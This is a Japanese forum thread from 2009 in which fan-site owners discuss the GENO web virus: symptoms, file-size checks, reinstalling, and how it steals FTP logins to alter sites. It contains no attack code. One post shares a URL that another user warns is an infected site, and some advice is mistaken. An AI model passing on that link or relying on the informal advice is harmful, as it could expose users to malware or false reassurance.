>>760
横から失礼します
FirefoxのアドオンでAdobe Reader があったんですが
それがアップデートしたらアドオンから消えてるみたいなんです

スタート→プログラムではAdobe Reader の最新バージョンになってるんですが
FirefoxのアドオンではAdobe Reader の代わりに？Adobe Acrobat でいいんでしょうか

>>811
>>719>>726>>803
続けて読め

>>814
一応、同人関係で初心者マカーもいるし、いいと思うよ
mac板はちょっと初心者さんには壁が高い
情報も錯綜しているし、逆に脳板やマカ板ではまずいとおもうよ

お前ら馬鹿すぎ
こんな低性能ウイルスなんぞ常時に隣り合わせだと知れ

cmd.exeもregedit.exeも起動しない
sqlsodbc.chmは1,323 バイト
更新日時は2009年3月21日、23:07:24

これって感染してるってこと？

自分サーチ運営してるんだが、閉鎖したほうが良いのだろうか。
ソース見た限りではサーチは感染していないようなのだけれど。

>>819
どう見ても真っ黒です本当にありがとうございました

>>819
>>1

>>819
クロいと思う、PCのほうは。
もしFTP更新してないならサイトは大丈夫なんじゃない？
クリンインストがいいと思うよ

IE8報告があるけど、IE8は画像経由で感染しないってだけだよな
火狐やそのほかのブラウザが推奨されてるのは、簡単にjs切れるからってことでおｋ？
ウイルスの爆撃対象になってるのはどれも同じなんだよね？

火狐でflash player導入しようと思ったらおそらくvistaにはねられた
vista使いで火狐考えてる人はflash player一筋縄じゃいかないかも

>>819
ログ読むなりまとめサイト見るなりして判断しろ
登録してる奴の為にも早くクリーンインスコしろ

>>819
ベッタベタの黒ですな
閉鎖するにしても、感染してないPCからした方がいいんじゃない？

>>819
サイトが感染してないなら下手に動かすのも危ないしひとまず放置
パソコンはクリーンインスコ
前にも同じような人いるんだからまずはログ検索するなり努力しなよ
そんなんだとまた違うウイルスに感染するかもよ

>>823
flash playerなんてUACで許可してやればインストールできるでしょ

cmdが起動しない
バイト数が明らかにおかしい

要注意だな

vistaで、C:\Windows\Help\mui\0411までいけるのにsqlsodbc.chmがないんですが‥どうすれば、、

答えてくれた人ありがとう。

サーチは何故かFTP最近使えなくて(これはウィルス関係ある？)
最近はずっとファイルマネージャでアップロードしてたんだけど大丈夫かな？

聞いてばっかりですいません

>>819 
本人は確実に感染してるけどサーチはセーフならおいといた方が混乱が起きない気もする
とりあえず早急にクリーンインストしれ

sqlsodbc.chmが49.5kbyte
アウセフ？

>827
UACで許可出した後に「この動作を停止しました」っていうのが出るんだ
他のexeを実行したときにも同じ症状が出て、そのときもvista特有の対処が必要だったから
今回もそれだろうと思ったんだが

>>828
要注意じゃなくて真っ黒だと思うが

×sqlsodbc.chmが49.5kbyte
〇sqlsodbc.chmが47.5kbyte
半端な…

>>832
まとめも見れないようなカスはパソコン切って寝てろ

パソコン普通に起動して普通にネットに繋がる状態なら、まだウィルスには感染してないってことで大丈夫かな

同人板には「テンプレを読んではいけません」「スレを一通り読むのも禁止」
「ちょっと調べればすぐに分かることでも人に聞いて無駄にスレを進行させろ」
みたいなローカルルールでもあるのか？
いくらなんでも酷すぎるだろ

>>810

今は気軽にググれと言える状況じゃないし、混乱してるだろうから書く

スタート（左下の窓のアイコン）→コンピューター→Windows Vista（C)→Windows
→Help→mui
この後は0409か0411かわからないけど、数字の羅列のフォルダがあるから
お探しのものはそこの中


ついでに数人の友だちに聞かれたから書いておくけど、
「ファイル名を指定して実行」は、vistaの場合スタートのところから
起動できるようになってない（いじってなければ）
スタート開いて窓アイコンのすぐ上に検索のためのテキスト領域あるから
そこにそのまま「ファイル名を指定して実行」と書けば起ち上がる

>>803を勧められない理由は不可視ファイルの可視化。
普段やりつけない人がやるにはリスクがある。
それよりClamXavのスキャン指定で不可視ファイルにアクセスするほうが
現実的で早くないかな

ttp://ewa4618.wed.macserver.jp/
>不可視フォルダにアクセスするには、キーボードでまず“/”を入力し、
>続けて目的のフォルダのフルパスを入力してください。

↑フォルダの位置さえはっきりしていればこれでおk

>>837
全然大丈夫じゃねえよｗｗｗ

>>833
なんかインストールするときたまにそういうことあるわな
このスレで聞いてもしょうがなさそうだ

そういやひとつ気になってたんだけど。

ﾌﾟﾆﾙ使ってるんだが、ﾌﾟﾆﾙでJavascript切る設定にしておけば
IEのインターネットオプションでJavascript無効にしなくても大丈夫なのかな。

専ブラもJavascript使ってるから
無効にすると動作おかしくなってかなり使いづらいんだ。

http://www.livmail.com/3others-page/janet/tokusen/index.htm

>>838
つ「人の話を聞かない女ども」
つ「そんな女を馬鹿ねぇと言いながらも構いたがる女ども」

>>833
うちの環境ではその不具合は出てないな
今まで更新かけたときもそのようなエラーは出てない

個体差はあるかもしれんが

>>832
真っ黒
電源切ったら終わりだから
クリーンインストールしとけよ

ttp://www.virustotal.com/jp/analisis/129207c26f261e1ea48589b1815af3f7
5月16日現在のウイルス対応状況
a-squared　　AntiVir　　Antiy-AVL　Authentium　Avast
BitDefender　Comodo　eTrust-Vet　F-Prot　F-Secure
GData　Ikarus　Kaspersky　McAfee McAfee+Artemis
McAfee-GW-Edition　Microsoft(悪意のある略) NOD32
Sophos　Sunbelt　Symantec　TrendMicro　ViRobot

>>830
何するにしても本当に完全に１００％全ページ大丈夫なのを確認してな
残しとく場合クリーンインスコしたら即パスとかも変えて

パソコンに感染したら調べなくても起動した段階や操作中に一目で分かる？
分からないままネットしてたらどうしよう

>>844って感染サイトじゃなかったっけ
気をつけて

一応ウイルスセキュリティでは白
もし感染してる場合、一度電源切ったら再起動しないｵﾜﾀ状態になる？

>>838
調べようとしない思考が停止した人たち
>>845
俺とかいってるやつもいるし男もいるっしょ。
圧倒的に女が多いけど。

規制中なので携帯から失礼
コマンドプロンプトは感染初期に立ち上げると重症化するようだ
確認はディレクトリの方を推奨

>>832
cmd.exeさえ動けば

>>850
一目で分からないから、知らずにバラまく人がいるのであって
分からないままネットしないようにスキャンするんですよ。

個人的にはFTPのパス抜いてーってのが抜き方はいくらでもあるが物凄く現実味が無い
アカウントハッキングが目的ならまだしもHTML改変ならローカルに保存されている
HTMLファイルを直接改変するようにした方が良いだろうに・・・

>>816
一応読んではみたんだけど。不可視属性もなにも、sqlsodbc.chmはWindowsの話であって、Macには関係ないだろ？
>>803で何を可視化しようとしてるのかわからないんだ。

それと、Adobe ReaderはHFS+でCase Sensitiveにしてる場合、環境設定が動作しないんじゃないかと思う。
大文字小文字を区別しないってやつ。

>>857
FTP通信を盗聴するトロイが内部に潜んでいると考えてみたらどう？

すまん、>>858の「区別しない」は間違い、「区別する」が正しいです。

>>859>>857
今のところローカルのHTMLファイル自体が改変されたという報告がないだけじゃない？

テンプレやまとめサイトに書いてあることなら「そこに書いてあるから読め」とだけ答えろよ
既出の質問なら「同じ質問があるから探せ」で終わらせろ　絶対に答え（エサ）はやるな
「次からは読んでね」なんて注意しても聞かない　しつけのなっていない犬畜生以下のバカなんだから
お手やお座りをする前にエサをやったって覚えるわけないだろ

>>858
Macだけなら無関係だが、BootCampでWin入れてるマカー用でしょ
Mac側から感染をチェックしたい場合ってことじゃないの？
説明不足だし、自分もその項目は不要な気がする。
マカでもブーキャンWinしてたら、Winでやらなきゃいけない対処はどうせ全部やるべきだから

まとめサイト用レス書いてるつもりの奴は
ちゃんと>>3って入れてくれ
でないと管理人氏にスルーされて無駄になるぞ

既出の質問への答えも理解できないんじゃね？

IDはあぼ〜んできるから便利だなぁ

>>863
>Macだけなら無関係だが、BootCampでWin入れてるマカー用でしょ

>>726にそのあたりの説明は書いたつもりなんだが、足りなかったか
一応その項目について書くべきかは>>3の人に確認した上でのことなんだ

>>858
MacのBootCampっていう機能で、OSXとWindowsがデュアルブートできるんだよ。
MacにWin入れてる人向けの話。

自分もマカでブーキャンしてるけど、ターミナルいじるとなると敷居が高い。

>>832
プロパティ見て50727byteならセフセフらしいけど

>>839
本当にわからなかったので助かりました！
ありがとうございます。感謝しています。

Mac等のマイナーOS使ってる奴なんて大概Windowsも入れてるからなあ（そうでないとネット使う上で不便すぎる）
VISTA〜以外のOSは安心できなくなったなあ

>>867
>その項目に
ごめんコレ不可視→可視化の方法ね
ホント頭ねてるわ…

>>858
>Adobe ReaderはHFS+でCase Sensitiveにしてる場合、環境設定が動作しないんじゃないかと思う。
これが自分にはよくわからないので詳しい人お願いします

>>859
暗号化されて無いから盗み易いってのは判るが盗む→IDPASSをメモリ上に読み込むorファイル出力
→そのデータからサーバーにログインして直接改変ってのは・・・・・・

>>867
いや単純に○で項目区切ってるのに>>858はレス単位で項目区切ってると読んだんだろ

自分マカでブーキャンなんだがwinでサイト見てなきゃ問題ないよな？

しかしウイルスの広まり具合すごいな
ブクマめぐってみたら数日前はなかったのに
ほとんどのサイトがウイルス警告してた

さっきMediaManager久しぶりに起動させたんだが何度やっても読み込み途中で終了になる
でもこれってウイルスとは関係ないよな…？初心者ですまん
ちなみにsqlsodbc.chmのサイズは問題ない

>>876
不安ならクリーンインストールしてスッキリすればいいよｗ

　　/￣￣￣ / 　/''７ ./''７　　　　　　　　/￣/　 /''７
　./ ./￣/　/　　/__/ /　/ 　＿＿＿_　　 ￣　　/　/
　'ー'　_/　/ 　 ＿__ノ　/　 /＿_＿＿/ 　 ＿__ノ　/
　　　/___ノ 　 /＿___,.／　　　　　　　　 /＿___,.／

　　　_ノ￣/　/￣/　 /''７　/￣￣￣/　　　/￣/　　　　　　　　　　　 　/'''７'''７
/￣　　／　　 ￣　　/　/ 　 ￣ ﾌ　./　　　/　　ﾞー-; 　 ＿＿＿_　　　/　/　/.＿
￣/　/　　 　 ＿__ノ　/　 　__／　 (___　　/　 /ｰ--'ﾞ　/＿_＿＿/　_ノ　/i　 i/ ./
　/__/　　　/＿___,.／　　 /___,.ノゝ＿/　/＿/　　　　　　　　　　　/__,／　ゝ､__/




これ最強

>>875
同じくマカでブーキャンしてて、Winでサイトはみてない
上記にあるようにWinにMac上から最新ClamXavをかけてみたが
今のところなにもなかったようだ

しかしうちのジャンル、感染報告あるのに
どのサイトいってもウイルス警告なかったぞ
うちは偏狭のしがないサイトだからなあ…
誰か気づいてくれるといいんだけど

ここで勧められてるavastインストールしたら再起動要求後、ＯＳ立ち上がる前にスキャン開始。
XP起動してログイン時に個人プロファイルが壊れてますとか何とか出て
一度は立ち上がったんだけど、再起動したら黒い画面から動かなくなった…。

avastいれる前の感染チェックでは白だった。
元々HDDが寿命寸前だったのもあるかもしれないけど、HDD逝ったのは確実なのかな。
ウイルスとは微妙に関係なくてｽﾏｿ。スレ違いなら誘導してもらえると助かります。

BootCampは使ったことないんだけど、MacのFinderで不可視属性のファイルを可視化するよう設定しなくても、
マウントしたNTFS（あるいはFAT）パーティションの隠しファイルは見えるような気がするんだけど違うのか。

たとえPCに詳しくなくても日本語は読めるだろ

そしてここに書き込めるということは、ブラウザの入力欄がどこか知っていて
そこにマウスカーソルを合わせて文字の入力が出来る状態にして
キーボードで文字が打てて書き込みボタンを押せるってことだろ

それだけ出来れば十分だよ　「自分で調べられる」んだよ　何でそうしないんだよ？

>>880
元々入ってたアンチウイルスソフトはアンインストールした？

>>875
セキュリティがwindowsより甘いMACだけど、
ウイルスが対応していない間は大丈夫

対応される前にバックアップとっておくべし

まとめてアップデートで解決しないでくださいよ……

まとめサイトのcmd実行、
ファイルの容量を確認して問題なかったんだけど
オンラインスキャンをしたらなんかBackdoorタイプのウィルスに
感染してたらしく、削除して終了したんだけど
これってやばいの？
GENOウィルスって調べてみたけど
トロイとかバックドアとかそういう種類がよく分からないんだけど何に属するの？

@Niftyのウイルスチェックで Trojan-PSW.Win32.Kates.c が出たぜー＼(^o^)／
駆除出来ないのなこれ

>>880
のーとん先生に嫉妬するって友達が言ってたけどそういうことでなくて？

・sqlsodbc.chmのファイルサイズおｋ
・niftyオンラインスキャン問題なし
・ウイルスバスターでも問題なし
・チェッカー？にぶち込んでもおｋ
・自サイトのソースもおｋ

だったんだがこれは白でおｋですか？
感染するのも怖いが何より自分がばらまく可能性があるとなると・・・・・・

sqlsodbc.chmが49.5kb(50.727バイト)
Vistaなんだけど大丈夫？

>>888
>>1

さすがにこの時間だからかスレ進行がゆっくりになってきたな
絶対ヤバいと踏んでいた弟のマシン(XP)チェックしたけど異常なし
親のノートはMeとVistaで異常なし、マイマシン(XP)も未だ異常なし。
噂立ってすぐ対処始めたのも良かったんだろうけど
スレ見てると、基本的に運がよかったんだなウチは…と思うわ

明日の夕方、イベント終了後からはオフに意識行ってた人がこっち流れてきてスレ加速するだろうけど
まとめ見れば分かりそうな質問には>>3で済ませんの？
それともどっかで提案あったテンプレレスみたいなの用意しとくの？

>>888-889
まとめてwiki見てください

>>882
ググると感染やらなんやら言われてるからじゃねーの？

>>9をテンプレの>>1にしろという話はあったな

>>893
ググらんでもまとめWiki見ればよくね？とは思う。
ググっただけで感染というのは、あり得るとすればFirefoxで先読み機能放置状態の時だけだな。
それを切る方法もまとめWikiには書いてある。
まとめWikiのアドレスは>>1に貼ってある。

>>873
>>859だと思うぞ
関連サイトから↓
---
ホームページに不正に埋め込まれたJavaScriptやIFRAMEが不正に SWFやPDFを開かせる

アップデートを行っていないユーザの脆弱性で、Flash Player や Adobe Acrobat Readerがクラッシュ。

クラッシュ時にマルウェア（PE型:xxxxx.exe)を実行。

実行されたマルウェアは、内部にトロイを埋め込み、感染PCのインターネットアクセスを監視、特に FTPアクセスを監視して ID/Passwordを盗む。

盗んだID/Passを使って、ホストへ（おそらく自動巡回で）不正侵入、改ざんコードを埋め込む

＞＞888ですが全部読んだ上で書き込んでます
wikiも見ました

誰かに大丈夫といって貰いたかったのかもしれないです
すまない、そしてありがとう

>>895
標準の先読み機能に問題はないと何回いったらわかるんだよ。

>>9をテンプレにするんなら>>735（をさらに修正）でな。

サイトに注意喚起してきた。（もち白でした）
最近全然更新してない弱小サイトだから２人/日くらいしか来ないけど。
FTPもクレジットカードも使わないから、あんま危機感ないけど他の人はそうじゃないもんな。
ここ二ヶ月くらい同人サイト巡ってなくて逆によかったかもなぁ。

>>895
だから俺に言うんじゃねー
聞いたやつに言えよ。というか全文を嫌になるほどコピペしてやれ

>>900
スレ立てヨロ

感染したらどうなるってのも変えた方が良いんじゃないの？
サイトが勝手に書き換えられて閲覧者にも感染するのが一番押し出されてるのが同人板らしいと言えばらしいが

コピペだけど

主な症状
・sqlsodbc.chmを改変
・cmd.exe、regedit.exeが起動不能
・一部のアンチウイルスソフトが更新不能
・特定サイトにアクセス不能(Windows Update、アンチウイルスソフト関連サイト)
・ネットワークのトラフィックを監視、ユーザー名やパスワード等の情報を収集
・Googleの検索結果を改竄(リンクを弄る)
・explorer.exeや一部のブラウザが異常終了
・Acrobatが勝手に起動
・PDFファイルやシステムファイルが増殖
・CPU、メモリ使用率がUP
・再起動時にBSOD

ノートンさんではなくＡＶＧ（って名前だったと思う）というウィルス対策ソフトを
入れてたんだけど、avast入れる前にアンインストール済み。

黒い画面にはメモリサイズやらポートがどうのってのが英語で書かれてて
device listing.....
って書いてある。
今までも似たようなのは時々でてたんだけど、その時は
F1押してコンテイニューF2でセットアップみたいなのがあったけど今回はなにもなし…。

あれ900だ。スレ立て初めてだからちょっと待っててくれ。
テンプレは>>735に前スレ足したくらいでおｋ？

未だに>>889みたいな質問するとか、
スレ全部見ろとは言わんが、なんでテンプレ部分やまとめサイト位見ないんだ？

>>898
え、マジで？
最初感染サイトをサイト名でぐぐった時点で警告出まくったからそうなんだーと思ってた
あれは過剰反応か。

感染しちゃうと再起動できなくなるん？

火狐のgooooooogleの先読みは結局弄って無効にするのも意味ないってことになったのか
　

>904
セーフモードで起動して一旦それアンインストールしてみたら？
それでもダメだったらリカバれ　

>>905
うん。で>>3にこれを

主な症状
・感染後にFTPに接続するとログイン情報が送信され勝手にFTP上のファイルを改竄される
・sqlsodbc.chmを改変
・cmd.exe、regedit.exeが起動不能
・一部のアンチウイルスソフトが更新不能
・特定サイトにアクセス不能(Windows Update、アンチウイルスソフト関連サイト)
・ネットワークのトラフィックを監視、ユーザー名やパスワード等の情報を収集している恐れ
・Googleの検索結果を改竄(リンクを弄る)
・explorer.exeや一部のブラウザが異常終了
・Acrobatが勝手に起動
・PDFファイルやシステムファイルが増殖
・CPU、メモリ使用率がUP
・再起動時にBSOD

>>908
全員が全員同じ症状が出るわけでは無い
PCによってバラバラ
けど、やたらと「〜じゃないから大丈夫だよね」とかレスする人が多いなぁと

今回感染していなかったから今後も安心とは思わず警戒心を持ち続けて欲しいなぁ
これ以外にもウィルスは無限にあるし

>>909
と思ったらまだこれも必要か
どっちがどっちかｗ

sqlsodbcやコマンドとか、感染症状に引っ掛かかりまくり感染濃厚だったので
自サイト確認しようと思ったけど
まとめサイトに載ってる感染チェッカーがうまく動いてくれないから
自サイトのソース虱潰しにあたった…ら感染してた

全部のファイルじゃなくて全体の約7〜8％くらい
パッと見で無いからって安心しないほうがいいかも
ちなみに最近アップしたファイルはまったく感染してなくて、4月半ば頃のがダメだった
ただ同じ日にアップしたのでも感染してるのとしてないのがある
感染してるページは他ページより明らかに重かった

今からどーしてもいるファイルだけバックアップとってクリーンインスコしてサイトに謝罪説明載せてくる
こりゃ今日は潰れるな
このスレ知らなかったら二次災害広げるとこだった
スレの皆さんやまとめの中の人に感謝
皆さんも気を付けてください

>>3
ジャンルは以前出ていましたがポケモソです

78にもあったけど、
＞とりあえず感染したら 必要なファイルは外付けに移動
これはアリなのかな？
外付けにウイルスがうつるんじゃなかろか…

>>914
最近のが感染してないっていうのは「まだ改竄されてない」だけだね。

>>910

セーフモードで起動できなかった…orz

先日内蔵CD-RWドライバが認識されなくなったのでリカバリーCD読めないんだ。
買い換えようと思って外付HDDにデータ移す前に最終チェックしようとしたんだけど、裏目にでたみたい

>・一部のアンチウイルスソフトが更新不能

具体的にどのソフトだよ…orz

>>915
現段階ではしない

不安ならDVDか何かにバックアップしろ
適当なクラスタに隠蔽して書き込めるHDDと違ってゴミが入り込む余地は無い

【管理も】同人サイト・GENOウィルス注意5【閲覧も】
http://changi.2ch.net/test/read.cgi/doujin/1242503523/

>>916
補足ありがとうございます
他のファイルに被害が及ぶ前にサイトに説明をアップできるよう頑張ります

firefoxのアドオンの｢noscript｣って対策にはなるのかな？

>>922
オプションから有効を切っても同じと見たのでそれでもいいんじゃない

普通にjavaスクリプトを無効にすりゃいいんじゃないの？
何故あどおん

創作イラスト
うみねこのなく頃に
で感染発見。